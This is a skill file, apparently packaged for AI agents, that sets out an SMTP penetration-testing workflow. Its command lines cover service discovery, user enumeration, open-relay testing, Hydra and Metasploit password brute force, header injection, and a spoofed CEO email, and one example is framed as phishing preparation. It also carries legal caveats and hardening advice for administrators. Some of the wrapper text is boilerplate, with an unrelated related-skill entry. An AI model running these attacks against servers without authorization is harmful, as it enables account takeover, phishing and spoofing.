SMTP Penetration Testing

Overview

This public intake copy packages

plugins/antigravity-awesome-skills-claude/skills/smtp-penetration-testing

https://github.com/sickn33/antigravity-awesome-skills

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses

metadata.json

ORIGIN.md

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # SMTP Penetration Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations, Security Recommendations.

When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

• This skill is applicable to execute the workflow or actions described in the overview.
• Use when the request clearly matches the imported source intent: Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.
• Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
• Use when provenance needs to stay visible in the answer, PR, or review packet.
• Use when copied upstream references, examples, or scripts materially improve the answer.
• Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Operating Table

metadata.json

ORIGIN.md

SKILL.md

SKILL.md

## Related Skills

Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. Server software (Postfix, Sendmail, Exchange)
2. Version information
3. Hostname
4. Supported SMTP extensions (STARTTLS, AUTH, etc.)
5. Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
6. Read the overview and provenance files before loading any copied upstream support files.
7. Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.

Imported Workflow Notes

Imported: Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com

# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>

RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Imported: Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Examples

Example 1: Ask for the upstream workflow directly

Use @smtp-penetration-testing to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.

Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

Example 2: Ask for a provenance-grounded review

Review @smtp-penetration-testing against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.

Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

Example 3: Narrow the copied support files before execution

Use @smtp-penetration-testing for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.

Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

Example 4: Build a reviewer packet

Review @smtp-penetration-testing using the copied upstream files plus provenance, then summarize any gaps before merge.

Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.

Imported Usage Notes

Imported: Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

• Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
• Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
• Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
• Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
• Treat generated examples as scaffolding; adapt them to the concrete task before execution.
• Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.

Troubleshooting

Problem: The operator skipped the imported context and answered too generically

Symptoms: The result ignores the upstream workflow in

plugins/antigravity-awesome-skills-claude/skills/smtp-penetration-testing

metadata.json

ORIGIN.md

Problem: The imported workflow feels incomplete during review

Symptoms: Reviewers can see the generated

SKILL.md

Problem: The task drifted into a different specialization

Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

Imported Troubleshooting Notes

Imported: Troubleshooting

hydra -W 5

Related Skills

• @server-management

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @service-mesh-expert

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @service-mesh-observability

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

• @sexual-health-analyzer

  - Use when the work is better handled by that native specialization after this imported skill establishes context.

Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

references

references/n/a

examples

examples/n/a

scripts

scripts/n/a

agents

agents/n/a

assets

assets/n/a

Imported Reference Notes

Imported: Quick Reference

Essential SMTP Commands

HELO client.com

EHLO client.com

MAIL FROM:<sender@test.com>

RCPT TO:<user@target.com>

DATA

VRFY admin

EXPN staff

QUIT

SMTP Response Codes

Enumeration Tool Commands

smtp-user-enum -M VRFY -U users.txt -t IP

nmap --script smtp-enum-users -p 25 IP

use auxiliary/scanner/smtp/smtp_enum

nc IP 25

Common Vulnerabilities

Imported: Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

• SMTP protocol fundamentals
• Email architecture (MTA, MDA, MUA)
• DNS and MX records
• Network protocols

Required Access

• Target SMTP server IP/hostname
• Written authorization for testing
• Wordlists for enumeration and brute force

Imported: Outputs and Deliverables

1. SMTP Security Assessment Report - Comprehensive vulnerability findings
2. User Enumeration Results - Valid email addresses discovered
3. Relay Test Results - Open relay status and exploitation potential
4. Remediation Recommendations - Security hardening guidance

Imported: Constraints and Limitations

Legal Requirements

• Only test SMTP servers you own or have authorization to test
• Sending spam or malicious emails is illegal
• Document all testing activities
• Do not abuse discovered open relays

Technical Limitations

• VRFY/EXPN often disabled on modern servers
• Rate limiting may slow enumeration
• Some servers respond identically for valid/invalid users
• Greylisting may delay enumeration responses

Ethical Boundaries

• Never send actual spam through discovered relays
• Do not harvest email addresses for malicious use
• Report open relays to server administrators
• Use findings only for authorized security improvement

Imported: Security Recommendations

For Administrators

1. Disable Open Relay - Require authentication for external delivery
2. Disable VRFY/EXPN - Prevent user enumeration
3. Enforce TLS - Require STARTTLS for all connections
4. Implement SPF/DKIM/DMARC - Prevent email spoofing
5. Rate Limiting - Prevent brute force attacks
6. Account Lockout - Lock accounts after failed attempts
7. Banner Hardening - Minimize server information disclosure
8. Log Monitoring - Alert on suspicious activity
9. Patch Management - Keep SMTP software updated
10. Access Controls - Restrict SMTP to authorized IPs